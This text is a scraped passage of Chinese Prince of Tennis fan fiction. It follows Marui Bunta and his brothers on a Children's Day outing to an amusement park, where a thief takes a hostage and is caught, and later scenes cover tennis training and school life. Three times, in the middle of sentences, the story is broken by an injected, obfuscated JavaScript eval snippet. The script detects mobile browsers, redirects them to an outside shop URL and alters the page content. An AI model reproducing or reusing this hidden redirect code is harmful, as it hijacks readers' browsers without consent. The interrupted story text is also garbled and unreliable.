总之除了切原那边遇到的小插曲,立海校队在后来两轮比赛中均以稳定的发挥取得胜利,不出悬念地拿到湘南地区预赛的冠军。 决赛是城成湘南与立海的对决,那所学校并不能撼动立海的绝对统治地位。不过据柳莲二调查,由于对方学校近年开始重金扶持体育项目,还引入了具有专业资质的教练作为社团指导老师,所以网球部实力相较过去提升了不少。 丸井文太被安排在双打一出场,搭档是三年级的学长。他演技超好,全程都维持着谈笑自若的扑克脸,丝毫没有表现出先前与城成湘南众人遇见过的样子。速攻打法在网前截击上有着先天优势,所以那场比赛没有超过二十分钟就直接结束。他走下赛场,径直坐到杰克身边聊起天,顺便还跟幸村提出建议,说他知道附近有家店的汤咖喱很不错,大家领完奖后可以先去那边解决午饭,然后再一起返校训练。 “既然是文太挑中的店,那确实可以尝试一下呢。”幸村微笑道。 “那当然,相信我对美食的品味吧!” 丸井文太笑容明亮,此前虽也在比赛中面带微笑,却始终掺着一丝冷静的锐气,直到与队友们相处时才展现出他最亲昵的可爱一面。 47.File 46 乐园 地区预赛是在五月初举行,当时正处于日本五连休期间,5月5日是儿童节,恰逢丸井文太难得没有训练的日子,他决定和可爱的弟弟们一起去东京的迪〇尼乐园玩。 “对不起啊,文酱。今天爸爸妈妈都要加班呢,因为公司的外贸客户催得急,所以要辛苦你照看他们了。” 文太的妈妈歉疚地说,那双和丸井文太如出一辙的紫眸微微眨动,显得楚楚可怜,抬手轻抚他鬓边微微翘起的红发。 “没关系,你们去工作也要注意别太累,要好好吃饭和休息。”丸井文太站在玄关的阶上,把自己做的便当递给妈妈,很贴心地说,“放心吧,我会照顾好两个小家伙的。” 虽然在听到父母不能陪伴的消息时文太眼底流露出了些许失落,但似乎是为了让她安心,那张过于可爱的脸庞很快浮现出一个稳重的笑容。 神明大人,请问我家开朗懂事的长子是上天赐予的天使吗? 大人怀着一颗幸福的感恩之心出门踏上了为明日拼搏的牛马之路,而丸井文太送走了母亲之后回到楼上房间,便看见自己稍大些的弟弟正笨拙地帮另一个弟弟换衣服,赶紧上前帮忙。 “文文哥,今天我们要出去玩吗?”小弟趴进他的怀里,期待地问道。 “对哦,虽然爸爸妈妈不能一起,但给我们准备了好多零花钱。”文太哄着他说,然后抱着弟弟站起身,郑重其事地宣布,“今天我们不但可以一起去游乐园玩个过瘾,还可以去好吃的店大吃特吃!” “好耶!去游乐园玩个过瘾!” “还能够大吃特吃!” 小朋友们激动不已,振臂欢呼,眼睛里都好似能飞出星星。 从镰仓到东京并不遥远,乘坐电车只需要一个小时多一些的时间。丸井兄弟家教都很好,弟弟们一路安分地坐在自己的座位上。文太考虑到他们可能无聊,一路上不但讲了有关迪〇尼经典人物的童话故事,还出了类似脑筋急转弯的趣味谜题,把弟弟们逗得兴奋雀跃,撒娇地缠着文太多说几个,那劲头直到他们来到游乐园里都没有停歇。 “好啦好啦——” 丸井文太说了一路,喉咙都有点干了,正打算使出他的转移注意力大法给弟弟们找点事来消耗精力,恰好看到附近有家出售特色零食的主题店,他眼睛一亮,脚步迈出,马上带着两个小家伙开启了当日的吃喝逛玩之旅。 儿童节这样的日子,游乐园里到处是小孩子们奔跑的身影,广场上热闹非凡,人声鼎沸,自然也不仅有丸井兄弟在此游玩。 “喂侑士!我们再去坐一次过山车吧。” “你还没玩够这个啊?岳人,是时候该换个口味,选择一些像是剧场表演之类的项目了吧,沉迷于过山车什么的简直像是国中生。” “那个……但我们不就是国中生吗?” 向日岳人正跟他的同伴忍足侑士说着话,二人一同走在路上聊天。一次跟友人说话的时候,深红妹妹头的少年在不经意间抬起眼帘,从同伴身后不远处的地方发现了一个熟悉的人。 首先映入视野的是鲜亮的茜色发丝,比许多女孩子都更精致的容颜,还有朝气蓬勃的笑容,风格和他们部中那位极有存在感的帝王部长截然不同,却也仿佛校园偶像般青春明媚,让人一眼难忘。 就算向日岳人此前只见过对方一次,也被留下了深刻印象,然后在当下这个时刻,瞬间从记忆深处翻卷起来。 ——立海的丸井。 是新人战时与慈郎对战过的那个家伙。 向日岳人记得他会在比赛期间无视氛围地吹着口香糖泡泡,展现出惹人生气的气定神闲,擅长截击,不仅实力强劲,那种用精妙技巧引诱并挑衅对手、再将人彻底击溃的球风也着实帅气。 芥川慈郎在输给对方之后有很长一段时间都不太对劲,他不知道该怎么形容,应该用神思不属来描述吗?慈郎似乎很崇拜丸井的截击技术,一直珍藏着新人战时从丸井那里得到的护腕,就像当成护身符一样,每天都放在书包的夹层里。 向日岳人虽然经常在双打比赛时担任网前选手,会在击球时使用截击,但比起钻研截击的技术本身,更注重于调动身体的技巧,也就是所谓的特技式打法。 真正主攻截击的选手对手腕的使用和击球瞬间的精细操作都极为敏锐,往往能做到兼顾速度与精准的强势攻击。慈郎的截击技术已在冰帝是数一数二的犀利,而立海的丸井又比他更上一层,甚至还具备非凡的战术意识,机会主义作风浓厚,让人大意不得。 “铛——” 在岳人思索的间隙,时间似乎走到了整点,音乐喷泉从地面涌起。水花飞溅,来自遥远的地方的乐声隐隐传入耳中,伴随着一声声洪亮的钟鸣,透明的水膜在视网膜上分割出一层层分明的光与影,附近丸井文太正低头说笑的脸庞便也在水雾间模糊起来。 丸井他是在跟谁说话? 向日岳人眨眨眼睛,视线微微下移,旋即蓦地定格。 “啊——!” 丸井文太听见一声惊呼,他下意识发出“嗯?”的声音,便觉有什么冲他所在的方向迎面砸来。 “呜哇?这是搞什么——” 他反应极快地搂住弟弟们后退一步,闪过高速袭来的暗器,凭借良好的动态视力,文太在投掷物飞过眼前的瞬间看清那是个桃汁包装的罐装汽水。 谁在乱丢垃圾啊!他暗自皱起眉头,为了不让罐子误伤其他游客,他伸出手正要截住罐子,动作却因为远处紧随而至的“别接”呼喊而停了一瞬。 于是时机转眼即逝,紧接着在丸井文太更后方的路人便被砸中手臂。 对方发出一声痛呼,掌心一松,一个精致的手包在众目睽睽之下与饮料罐同时落地。 丸井文太转脸之后愣了一下,因为被罐子砸中的路人是个其貌不扬的男青年,怎么看都不像是地上女款手包的物主。 他下意识地将眉头微微拧起,手臂揽紧身边还不明状况的弟弟们。 站在那人身旁的一位女士见状也是一愣。 “那是我的包……”她说,随后急声高喊,“他是小偷!” 置身于周围人视线焦点的男青年也很快露出了慌张的心虚神情,他飞快地捞起手包,转身就跑。 “可恶!” 向日岳人低骂了一声,原地狠狠跺了下脚。忍足侑士见状心道不妙,只是还没等他一句“别冲动”说出口,同伴就已经拔腿跑了上去。 “岳人你一个人可制不住那家伙啊……” 真是的,稍微考虑一下国中生和成年人的力量差距再行动吧。 忍足侑士少年老成地叹了口气,收回自己徒劳伸出的手臂,先扶了扶从鼻梁滑下的眼镜,然后认命地朝他们所去的方向追去。 “别跑啊你这混账小偷——”向日岳人一边追一边喊,气息逐渐急促,声音很快变得不稳。 “够了吧,岳人。”忍足已经看出他们八成是追不上了。 “不行!我们不能让那家伙得逞!”岳人生气地说。 紧张刺激的追逐战在园区里上演。 最前方是闷头直冲的小偷,中间是不服输劲头上来的岳人,再后面是忍足,若从上方俯瞰,便能看见三人接连在密集人群之中奔跑穿梭的身影。儿童节的游乐园实在太过拥挤,到处还有小跑打闹的孩童,那小偷似乎打着要混进人群的主意,一路向人潮汹涌的地方跑去。 岳人眼看着彼此之间阻拦的障碍越来越多,自己就要被对方甩开,心中越发气急,一时竟未注意到附近有个小女孩刚从道路一边探出头来,看见另一边被孩子们围在中央的玲〇贝儿,马上眼睛发亮地朝着玩偶跑去。 “不好!岳人,快停下!”忍足慌张道。 “哈?凭什么啊——”不明所以的岳人脚步未停,还怒气冲冲地回头瞪了同伴一眼。 你要撞到人了! 忍足实在来不及解释,眼睁睁注视着双方越来越近,即将发生冲撞前一刻,正跟孩子们招手互动的玲〇贝儿鬼使神差地转头看向他们那边。 “哎呀。” 一个悦耳的少年声音在玩偶服的内部轻轻响起。 电光石火间,玲〇贝儿快步挡在小女孩前方,以毛绒绒的身体挡住了向日岳人这时才紧急刹车的身体,慌里慌张的红发少年不得已投入玩偶的怀抱,所幸对方下盘稳当,顶着冲力都没有后退一步,不仅保护了身后的小女孩,还稳稳当当地将岳人扶正身体。 “啊、谢谢……实在不好意思。” 险些犯下大错的向日岳人一脸惊魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16877539|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未定,落地后便有些不自在地低头道歉。后一步赶到的忍足侑士也是狠狠松了口气,轻轻拍了拍同伴的头顶,对玩偶道了声谢。 玲〇贝儿极有职业素养,并未出声回应,却也动作可爱地跟着轻轻拍拍岳人头发柔顺的头顶,而后送给微微愣住的忍足一个俏皮的飞吻,才牵着兴高采烈的小女孩一起回到其他孩子聚集的地方。 “那个的里面是男性还是女性的演员啊……” 在忍足喃喃自语的同时,岳人也拨了拨被弄乱的头发,小声咕哝了些什么。 “真是的,这下小偷完全跑没影了啦……”他郁闷地垂下眉毛。 忍足回神,连忙安慰:“那也没办法了,岳人,别内疚,你已经尽力了。” 有趣的孩子们。 隔着一双假眼,藏在玩偶服里面的演员静静注视着发色一红一蓝的两名少年携同离去。 营业时间尚未结束,他很快就将这个小小插曲抛到脑后,专心致志地陪着其他儿童玩耍,时不时还要与兴致勃勃的游客互动合影,等到穿着达〇熊玩偶服的同事过来接班,他才与依依不舍的小粉丝们挥手道别,活泼地一步三回头离开现场,回到后台的工作室脱下玩偶衣装。 “呼——”玩偶演员轻轻喘了口气。 一个高中生模样的黄发少年从玩偶头套里露了出来。 厚重的服装里面极为闷热,他白皙的脸庞被蒸出淡淡的红晕,微湿的卷曲发丝沾在侧脸,只见对方睫羽微动,缓缓睁开双眼,橙红瞳仁轻轻眨了眨,随后被戴上的镜片所遮挡,笑容清浅的神态和善而温柔,是让人一见便心生好感的柔和面相。 “幸亏你有空来帮忙啊,入江。今天的游乐园实在太忙,我们都要分身乏术了。” 在他换下玩偶服的同时,后台一名跟他同时交班的工作人员也刚摘下头套,抬手抹去了满头汗水,庆幸地说。 “话说你的表演真不错啊,一下就被经理挑中到热门项目那边去活动了。就是游客那么多也需要你更耗费精力吧?真是辛苦你了。” “对啊对啊。”另一名工作人员也是把佩服二字写在脸上,“我看入江的演技跟他们专门培训出来的演员也没什么差距,实在太了不起了,我完全看不出来你是第一次来。” “被选中担任玲〇贝儿这个人气角色也是理所应当。” “经理也是慧眼识珠啊。” 这些一句接一句的感叹完全是真心实意。他们都是在节假日来做兼职的高中生,虽说游乐园打工的薪水很高,但劳动强度也实在累人,本来长时间整个人待在玩偶服里就已经又闷又热,还需要全程高质量地与游客互动,根本就是个收入与付出成正比的高强度工作。 说来也是无巧不成书,这两日游乐园有同事因病请假,大家轮转不开,所幸有人知道自己在京都的朋友入江奏多假期来东京游玩,而且对方不仅性情友善,还是个资深的表演爱好者,于是试着恳求入江能不能儿童节来帮忙一天,当即得到了对方痛快的应允,简直是救人于水火的活菩萨。 “哈哈,我还只是个新人,大家实在是过誉了。” 入江奏多微微偏头倾听大家的夸奖,尽管嘴上稍微自谦,唇角却轻轻勾起,眸光流转着愉悦的神采,俨然是乐在其中。 而在另一边,甩开岳人的小偷快步在人群中移动,看见国中生少年的身影被玩偶拦住,他不禁露出一个得逞的笑容,用皮夹克把自己偷来的手包藏住,然后脚步一转,向人烟稀少的小巷方向拐去。 但他大抵是做贼心虚,总是疑心有人可能发现自己的行踪,时不时就忍不住回头观察身后,这般一来二去自然免不了疏忽前路,一不小心就撞上了人,脚下踉跄着后退了一步。 “喂,你小心点啊!”那小偷心下不爽,口吻恶劣地瞪向前方。 “啊?”与他相撞的人语气更加恶劣,对方身材高大强壮,肩宽腰细,手臂肌肉线条流畅而饱满,一把揪住男子的衣领就轻松将他身体提起,凑近他脸庞的金色瞳孔更是如猛兽般冰冷凶恶,不善地盯视他骤然苍白的畏惧脸庞,“混账,你是在命令我吗?” 那小偷嘴唇发抖,浑身哆嗦,吓得一句话都说不出来,手臂下意识一松,被他偷来的手包便从夹克里滑出,落在地面,发出“啪嗒”一声。 48.File 47 谢礼 小偷鼻青脸肿地倒在地上。 将他殴打一顿的人穿着一身似乎是附近中学的白色学兰制服,灰白短发用发胶固定成向上炸开的冲天造型,衬托得本就凌厉的面庞更加凶神恶煞,浑身散发着毫不遮掩的不良气质。 见他一动不动地原地装死,那人不屑地哼笑了一声,似乎心中犹不解气,又是一脚踢中他的腹部,疼得小偷惨呼一声,不敢再耍小聪明,连偷来的包都顾不上,手脚并用地爬起来逃开。 白衣中学生啐了一口,视线漫不经心地扫过留在地上的手包,正打算抬步走开,然而这一天的命运仿佛成心要触他的霉头似的,远处传来一声“站住”,他皱眉回头,就看见一个民警打扮的中年人举着警棍朝他冲来。 “……” 十分钟后,在园区内的警务室,满脸不爽的中学生被一位笑容满面的年轻女士握住双手连连道谢,对方身旁是方才面色严厉的民警,此刻对方脸上也是堆着慈祥的笑容,憨厚地摸了摸自己的后脑。 “刚才真不好意思啊。原来小哥你是为了帮忙从小偷手里夺回失物,都怪我太草率了。哎呀,现在的年轻人真是太热心肠了,我和这位女士都实在感谢你的见义勇为。” 那位被小偷夺走手包的女士也是非常高兴:“非常谢谢你的帮助,亚久津君。那个包里放着家人送我的护身符,对我非常重要,真是很庆幸能够失而复得……” 亚久津仁忍着浑身不自在的不适感,熬过了人生中最漫长的五分钟,才好不容易取回自由身,离开警局之后他拿出已经在口袋里震动许久的手机,先是按掉电话,然后拨开邮箱简单回复了几个字,过了不久,他与一名打扮时尚的女子在路边汇合。 “真是的,阿仁你一个人跑到哪里去了呀?”那女子埋怨道,“我找了你好久,下次至少先跟我打个招呼啊。” 亚久津没有回答她前一个问题,只是淡淡道:“不要命令我。” “妈妈只是担心你的安危。”女子道,“难得今天是儿童节,阿仁你也别冷着脸,开开心心地玩一场吧!对了,我方才看到了非常可爱的玲〇贝儿哦,阿仁你要一起再去看看吗?我觉得你应该也会喜欢。” “……”谁会喜欢那种幼稚的东西。亚久津实在无语,别过头“嘁”了一声。 下午的游乐园有花车巡游,道路两侧都是驻足观看的游客,花车上奇趣风格的机关随着音乐上下起伏,还有玩偶角色们精彩的表演互动,乐园中充斥着轻松愉快的氛围。 此刻简直是所有人都放下警戒心的大好时机。 先前从亚久津手底下逃出生天的小偷戴上兜帽,藏住了鼻青脸肿的脸孔,脚步缓慢地跟着人群一同走在花车后方,乍一看仿佛只是个独自出游的低调游客。 这人溜走以后思来想去,实在不甘心自己今日白挨了顿打却空手而归,眼神左顾右盼着搜寻下一个出手机会,不多时就找到了一个全新的目标,不动声色地缓慢接近对方。 嗯? 花车上的入江奏多眼尖地注意到了他的小动作,眉梢轻轻一挑,故意抬手向小偷所在的方向摇起手来。 “哇,文文哥快看!玲〇贝儿在跟我们打招呼耶!”人群中有个骑在兄长头上的红发男孩发出惊呼,也高兴地回以招手示意。 “喔喔真的——”丸井文太也很兴奋,脸颊透着红扑扑的颜色,但为了保持平衡,还是先抓住了弟弟在他肩上控制不住乱动的双腿。 走在附近的游客也下意识将目光投向玲〇贝儿连连挥手的方向,这一来不仅许多人将丸井兄弟们兴致勃勃的表现尽收眼底,也有人注意到了一名女性游客后方忽然僵住身体的可疑人物。 向日岳人与之隔着一段不短的距离,却眼尖地看见那家伙兜帽卫衣外面的皮夹克分外眼熟,原地思索片刻,忽然“啊”的大叫一声,伸手指向对方兜帽下方紧绷得非同寻常的脸孔。 “是你!白天的那个可恶小偷!”他气势汹汹地指认道。 要不是那张脸已经鼻青脸肿,岳人还能辨认得更快一些。坏人活该被揍,他嫉恶如仇地想道,一点也不在乎对方的伤势从何而来。 “呃!”沐浴在无数人视线中心的小偷顿时浑身僵硬。 “咦?!”又一次凑巧待在小偷旁边的丸井文太也是吓了一跳。 仿佛嫌现场还不够混乱似的,人群之外的不远处传来一个年轻女声。 “阿仁,别慢悠悠走了,再不快点就要看不到花车了!” 衣着时尚的女子高高地扬起手晃了晃,而在她呼唤方向的尽头,亚久津仁表情不耐地走了过来。 文太一眼认出那女子的身份,是青春台车站附近一家咖啡店的店主姐姐。去年他和柳去青学网球部拜访的那天去过她家店里,文太还记得她叫优纪,做的甜品非常美味。 优纪姐旁边那个高个子的家伙……是她的儿子?真的假的? 他呆了一下。 就在他愣住那一瞬,被向日岳人所指认的小偷却好似受到什么不得了的刺激,骤然发狂似的劈手掳过丸井文太身侧的另一个弟弟,手指扣住下颌,同时藏在衣兜里的另一只手伸出,握着一柄弹出刀刃的弹簧刀,抵在男孩脆弱的脖颈,色厉内荏地朝亚久津仁大吼:“不要过来!” “哥哥!”文太肩上的男孩立即惊慌出声。 丸井文太瞳孔骤缩,却顾忌着对方冲动之下伤害自己的弟弟,紧紧盯着那人不敢动作。 现场形成僵持之势,在那千钧一发之际,他那双紫眸不着痕迹地滑过周边—— 咦,那不是…… 在男子身后,人群中的忍足侑士跟向日岳人先是向他小幅度地摆了摆手,待丸井文太的视线在他们所在的位置略作停留,对方忽然朝他比出了几个网球双打中常见的战术手势。 五指对外张开——上前抢网,进攻信号。 食指和中指并拢朝下——追身。 小指下指——走内角。 “哎呀,大哥哥你先冷静点。”丸井文太呼出一口气,将所有情绪藏在心底,扬起一个无害的笑容,“我看附近大家也没丢什么东西,你应该是被冤枉了才这么慌乱的吧?别紧张,盗窃只有现行犯才能论罪……” “对、对啊!我是无辜的!”男子高声道。 “嗯嗯,我相信你。” 他不断用替对方辩解的方式诱使其降低戒备,牢牢吸引着犯人的视线和注意力,同时不动声色地拖延时间,等待忍足他们移动到预定的埋伏方位。 就在对方心神松懈的那刻,丸井文太敏锐地意识到了时机已至—— “就是现在!”他高喊。 忍足侑士和向日岳人从男子身后和侧面同时冲出,他们一人从侧方突入,死死掰住对方持刀的手臂,另一人从身后勒住喉咙,当场以默契的配合制住了那人的行动。 丸井弟弟也是反应敏捷,马上又踢又打地挣扎开来,一落地就赶紧往哥哥身后跑。待他缓过一阵后怕,眨着眼睛从文太的腿后探出头来时,先前挟持他的坏人已经被一个面色凶恶的大哥哥一脚踹翻在地,揍得哭爹喊娘。 “非常感谢各位救了我弟弟!” 经过流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882079|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程复杂的笔录,走出警务室的丸井文太欠身鞠躬,心怀感激地对众人致谢。 “呃、不用客气,是我太莽撞了,没想到那家伙竟然会忽然无差别袭击路人……”向日岳人连连摆手后退,心虚地说。 忍足侑士观察细致,其实注意到引得犯人发狂的对象另有其人,他不愿再多生事端,此刻理智地没有揭穿,只是礼貌地回了一句举手之劳。 “哼,无聊。”亚久津一天之内两次步入警局,早已感到烦躁,转身便想离开,不想身后却忽然传来一阵拉力。 “呃、那个……” 牵住他衣角的红发少年似乎有些不好意思,抬手挠了挠脸颊,睫毛微抬,紫色眸子期盼地望向他的眼睛,“如果不介意的话,可以稍微等我一点点时间吗?不会很久的,我保证!” 警务室外等着一位园区工作人员,看样子是来安排他们一行人后续的妥善安置,笑容和善的模样很有亲和力,很快便吸引在他身旁的丸井弟弟们围着他喊“入江哥哥”。 丸井文太走过去跟他说了些什么,还双手合十比出了拜托拜托的动作,入江奏多听后微微意外,却很快笑着点了点头,于是一行人来到附近一家西式餐厅吃点心休息,而丸井文太虽不舍地望了眼他们桌上的点心,却还是一口没吃,直接步入后厨。 “哎呀,看来今天我要沾阿仁的光了。”优纪惊喜地说,她在SNS上与文太互加好友之后,时不时就能看见对方分享各式手作点心的食谱和照片,看来今天有望尝到成品。 果不其然,过了一段时间,丸井文太拿盘子端来已经用纸盒包装好的谢礼,说是时间紧急,所以就地取材了餐厅里刚焖熟的栗子压成泥做成了蒙布朗糕点,里面还加了香橙增加风味,口味应该是大众适口的程度,一边说一边给在场众人一一分发,包括入江奏多手里也被分到一份,他笑容温柔,客气地道了声谢。 纸盒里散发出诱人的温热香气,让亚久津本打算张口拒绝的话语堵在喉咙,一声不吭地将礼物收了下来。 “这个看起来很不错啊。” 岳人打开盒子看了一眼,迎面扑来的栗子香气又热又甜,还掺着一丝属于橙子的柑橘系清香,闻了一口几乎把他给香迷糊了,卖相也是精致好看,不逊于外面出售的商品。 他暗暗咽了下口水,颇为意外丸井这家伙的手艺居然这么厉害,估计慈郎都不知道吧。 啊,对了,说起慈郎—— “那个丸井啊,你这个蒙布朗……可以多送我一份吗?”他问。 “好啊。”文太非常乐见别人喜欢自己做的点心,答应得十分爽快,说完又将栗子点心递给早就翘首以盼的两个弟弟,得到小朋友们开心的欢呼。 向日岳人和芥川慈郎是自小相识的朋友。 要说他们有多熟悉,从家里的关系便可见一斑。向日家里开的电器店和芥川家里开的洗衣店位处于同一条商业街的相邻店铺,不仅大人们熟识多年、相处和睦,两家孩子相互串门早已如家常便饭,双方知根知底,岳人有时还会热心地帮睡着的慈郎看店。 向日岳人也记得很清楚,5月5日这一天不仅是儿童节,还是他发小芥川慈郎的生日,这个特别的日子仿佛注定了对方无忧无虑的天性。 尽管他知道睡觉小皇帝应该更享受能够无忧无虑酣睡一整天的休闲时光,不过岳人心想,既然慈郎先前对丸井那么感兴趣,那自己给他带回去一个丸井亲手做的小蛋糕当作生日礼物,慈郎应该会很开心吧? 他这么盘算着,一手提着点心盒,愉快地踏上了回家的道路。 49.File 48 笨蛋 游乐园事件后过了几天,丸井文太从SNS上收到了亚久津优纪的联系,对他做的蒙布朗给出了极高的评价,不仅说她家儿子非常爱吃,还热情邀请他去她的店里做客。 文太有心答应,可惜他这些天要准备期中考核,网球部的训练也不容懈怠,便很遗憾地回绝了。 立海网球部在地区预赛结束后不久进行了一次基础素质测验,丸井文太在体力方面短板较大,于是他近期在部活结束后都没有约人去玩,而是独自进行了体力强化的自主训练。 通过连接着湘南海岸与江之岛的弁天桥,从岛屿入口到江岛神社的一路都是向上的通天台阶,入夜后全岛亮灯,不仅树木上悬挂着缤纷的灯串,阶梯两侧有灯光照明,还有地处制高点的瞭望灯塔指引方向,是个适合沉下心来打磨自身的清静去处。 晚饭过后,他在手脚上都佩戴了负重,一鼓作气从家慢跑到了江之岛上。 五月的夜晚已经带有夏日的气息,灯光笼罩步道,山间风深树翠,头顶满天星斗,文太规律地调节着自己呼吸的节奏,鞋底轻轻踏过露水沾湿的石板台阶,充斥于胸肺的空气幽静清新。 一路上都有凉风微微拂过肌肤,沿途风景变迁的锻炼也不会让人觉得无聊,月过梢头,光色越来越冷清,等到文太实在气喘不上来,不得已慢下脚步,才注意到衣服早已被汗水浸透。 他抬起手臂擦了擦额上湿漉漉的汗迹,又像淋了水的小动物一样用力地晃了晃脑袋,把不断从碎发尖尖渗进眼睛的汗珠都甩了出去,缓下脚步走了一段路,在岛屿边缘找了块临海的礁石上坐下休息。 视野尽头是摇曳着万家灯火的湘南海岸,夜晚的相模湾是被神奈川捧在掌心的一汪海,沉静潋滟如油画,连涛声也让人觉得静谧。 海浪不间断地扑在礁石上,涌上来的细小水珠溅在皮肤。 丸井文太曲起一条腿,手臂随意地搭在膝头,眺望的时候侧脸被远处幽蓝光芒浮宕曲折地照亮,从几缕从不听话的发梢,好似被凌厉笔锋勾勒的睫羽弧度,到下颌、脖颈乃至衣领下方的锁骨线条,都鲜明洗练,凝聚成一种青春时节拔节生长的少年轮廓。 海岸之上,徒有风吹。 星光从天河汇入摇荡的海面,粼粼水波闪烁着光芒,他独自一人坐在礁石上吹着泡泡的样子落在夜色深邃的布景里,就像一场属于初夏的梦。 “丸井学长他啊,本人其实跟他给人带来的第一印象差别很大啊。” 一天在部活以前的社团活动室里,几个一年生一边换着衣服,一边讨论起校队里那些个性鲜明的前辈们。 “该说他果然还是立海的人吗?”有个人说,“我一开始以为丸井学长是性格比较随便的类型。虽然大家都说网球部的要求很高,但他平时并不像其他学长们那么严肃,对吧?总是兴致勃勃地想着美食。对我们也是,只要稍有些进步,他就会说‘很好’或者‘不错啊’之类的话作为鼓励。但相处久了就会发现,丸井学长在训练时从未懈怠,面对柳学长那非人的锻炼清单也从无怨言,每天中午还会专门跟我们一年级的打球练习,就让人觉得:啊——果然还是立海那种坚毅自立的处事作风。” 对网球怀有真挚的热忱,不但具备出类拔萃的才能,还付出了远超他人的刻苦。 那种人物绝非普通人光凭努力就能超越的对象。 甚至这么夸张的存在在他们立海网球部的校队中竟然几乎比比皆是。 不仅是外校那些选手,连他们自己社团的部员都对此感到敬畏。而且越是理解正选们的强大之处,他们就越是对胆敢挑战王权的切原赤也钦佩不已,对方简直是他们一年生之光。 “啊?你们说丸井学长?” 在他们交谈时一直低着头的切原赤也系好了鞋带,他站起身,单脚踏在地面轻轻踩了两下,湖绿色的眼睛不带情绪地斜了过来。 “他一直是那样吧。别把他想得太简单……”切原说,“把他当笨蛋的人,绝对会反过来被他当成笨蛋耍。” 切原赤也独自离开部室,人刚走到走廊转角,耳旁便飘来仁王雅治轻轻的一声笑。 “想不到你对丸井会是这个评价。” 就算是靠在墙壁的姿势,他那位过于慵懒的银发前辈仍是漫不经心地弓着背,双手自然地插在兜里,周身透着洒脱不羁的随性气质。 “莫非是当笨蛋的经验丰富?”对方打趣,“哎呀哎呀,看来丸井对你可真宠爱呐。” 切原赤也听得嘴角一抽,眼睛瞄过去,随后夸张地后跃一步,食指对准仁王雅治的脸庞。 “哇啊——仁王学长你好卑鄙,竟然偷听别人说话!” 仁王雅治似笑非笑的绿眸有一瞬微微眯起。 他发现这小子近来似乎是学聪明了一些,知道将对自己不利的话题避而不谈,甚至转而指责起他的不是了。 此举颇有社交手腕极度灵活的某人风范,至于后果是好是坏,他持保留意见。 “呵,那你们下次想说悄悄话的时候记得找别人不会去的地方。”仁王对着指向自己的手指挑了挑眉,直接无视切原对前辈过于粗鲁的言行举止。 他是很宽容的,学弟这点小毛病自有家风谨肃的副部长纠正,他还是不费力气代劳了。 耍人前科罄竹难书的学长脸皮极厚,顶着学弟戒备怀疑的目光站直身体,然后随意拍了拍切原发丝凌乱的脑袋。 这动作仿佛只是信手为之,又好似能从那份轻柔力度中感受到一丝奇异的温柔。 湖绿色眼睛的男孩不自觉发出“唔”的一声,从绷着脸变成了鼓着脸,实在难以揣度这个怪人学长的行动逻辑。 “快去球场吧,再发呆就要迟到喽,puri。” 仁王将他写在脸上的情绪都尽收眼底,弯唇一笑,走之前还特地摆了摆手,才心情愉悦地离去。 或许是一种风云人物的共有特质,他们立海网球部的正选在任何地方都极易成为关注焦点,就算本人不在现场,也时常能成为其他同学的谈论对象。 ——幸村和丸井一起在家政课做了蛋糕。 消息传到仁王雅治耳中的时候他正在收拾课本,下一堂课是去移动教室的第二外语课,他要去德语班,柳生是去法语班,二人在分道扬镳前对视了一眼。 柳生推了推眼镜,微笑道:“说起来……C班和D班的家政课确实是一起上的呢。” “唔。”仁王应了一声,很快露出若有所思的表情。 做蛋糕一直是丸井文太的长项,他去年甚至在海原祭料理大赛上拿了点心部门的亚军,按道理来说,不至于现在才成为被人议论的话题。 “应该是幸村太引人注目了吧,我们的部长很受人憧憬啊。”仁王说,“不过话说回来,柳生,你吃过幸村做的料理吗?” “没有,怎么了?” 仁王雅治慢慢将手指抵在下颌,陷入沉思。 出于个人兴趣,仁王时常有意无意地关注网球部队友们的生活情报,因此作为一个隐性情报师,他的资料虽然没有柳莲二那么精确和巨细无遗,却也涉猎颇广。 丸井的料理水准毋庸置疑,但据仁王所知,幸村的厨艺……极可能不太理想。去年的林间学舍活动时,有个一年生在野外做饭时弄炸了饭盒,他听说那似乎就是幸村精市的杰作。 所以厨艺天才能拯救厨艺黑洞吗? 他忍不住嘴角一挑。 课间时间还算充裕,仁王特地绕道去家政教室看热闹,刚到门口就瞧见许多同学都聚集一处,甚至还有人举着相机和手机拍摄,热闹非凡的景象让他颇为意外。 “嗨,仁王。” 料理台后的幸村精市先注意到了他的身影,笑着招了招手,然后隔了一会儿,人群侧面才探出一个红发脑袋,是身高稍矮一些的丸井文太。 “仁王啊,你也来欣赏我和幸村君联手完成的杰作了吗?”他的脸上写满了得意,骄傲道,“这可是非常罕见的艺术品哦。” 仁王雅治纵然暗自好奇,却还是等前面的其他同学都心满意足地拍完照,才上前参观丸井文太口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885329|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 